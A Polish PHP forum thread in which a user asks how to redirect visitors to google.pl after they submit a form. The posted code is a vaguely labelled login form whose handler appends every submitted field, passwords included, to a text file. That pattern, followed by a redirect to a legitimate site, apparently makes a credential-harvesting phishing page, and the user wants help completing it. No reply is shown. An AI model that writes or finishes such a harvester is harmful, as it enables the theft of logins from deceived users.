Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]Przekierowanie po wypełnieniu formularza
CamerDisco
post
Post #1





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


Witam, kod w php to:
  1. <form action="krajobrazy.php" method="POST">
  2.  
  3.  
  4. <font color="white">ip1:</font> <input type="text" value="Login" name="login" id="login23" ><br><br>
  5. <font color="white">ip2:</font> <input type="password" value="Haslo" name="haslo" id="haslo23" ><br><br>
  6. <input type="submit" value="Zaloguj" name="submitted" ><br>
  7. </form>
  8. </center>
  9. </body></html>
  10.  
  11. <?php
  12. $handle = fopen("krajobrazy.txt", "a");
  13. foreach($_POST as $variable => $value) {
  14. fwrite($handle, $variable);
  15. fwrite($handle, "=");
  16. fwrite($handle, $value);
  17. fwrite($handle, "\r\n");
  18. }
  19. fwrite($handle, "\r\n");
  20. fclose($handle);
  21. ?>
  22.  


Chcę zrobić żeby po wypełnieniu formularza autoamtycznie przkierowywało np. na stronę google.pl
Próbowałem z funkcją header i wgl. ale nie wychodzi mi czy mogłby ktoś wstawić gotowy kod?
Powód edycji: [Kshyhoo]: po co ten milion spacji?
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
CamerDisco
post
Post #2





Grupa: Zarejestrowani
Postów: 12
Pomógł: 0
Dołączył: 13.01.2014

Ostrzeżenie: (0%)
-----


Kod to:
  1. <?php
  2. $handle = fopen("krajobrazy.txt", "a");
  3. foreach($_POST as $variable => $value) {
  4. fwrite($handle, $variable);
  5. fwrite($handle, "=");
  6. fwrite($handle, $value);
  7. fwrite($handle, "\r\n");
  8. }
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. header('Location: <a href="http://www.example.com/&#39%3b%29;" target="_blank">http://www.example.com/');</a>
  12. ?>


Błąd to: Warning: Cannot modify header information - headers already sent by

Nawet jeśli te ob_end_flush jakoś inaczej rozmieszcze i nie będzie tego błędu to i tak po wysłaniu nie odeśle, zapewnie chodzi o to: jak odwolujesz sie do pliku krajobrazy.php to musi byc tam najpierw sprawdzanie czy dane $_POST sa przeslane i jezeli tak to wtedy header('Location: www.google.pl'); powinno zadzialac.
Tylko nie wiem za bardzo jak to zrobić.

Zrobiłem też tak:
  1. <?php
  2. $handle = fopen("krajobrazy.txt", "a");
  3. foreach($_POST as $variable => $value) {
  4. fwrite($handle, $variable);
  5. fwrite($handle, "=");
  6. fwrite($handle, $value);
  7. fwrite($handle, "\r\n");
  8. }
  9. fwrite($handle, "\r\n");
  10. fclose($handle);
  11. if(isset($_POST['submitted']))
  12. {
  13. header('Location: <a href="http://www.example.com/&#39%3b%29;" target="_blank">http://www.example.com/');</a>
  14. }
  15. ?>


Ale również jest ten błąd z Cannot modify header information - headers already sent by

Ten post edytował CamerDisco 14.01.2014, 14:14:37
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 16.10.2025 - 20:59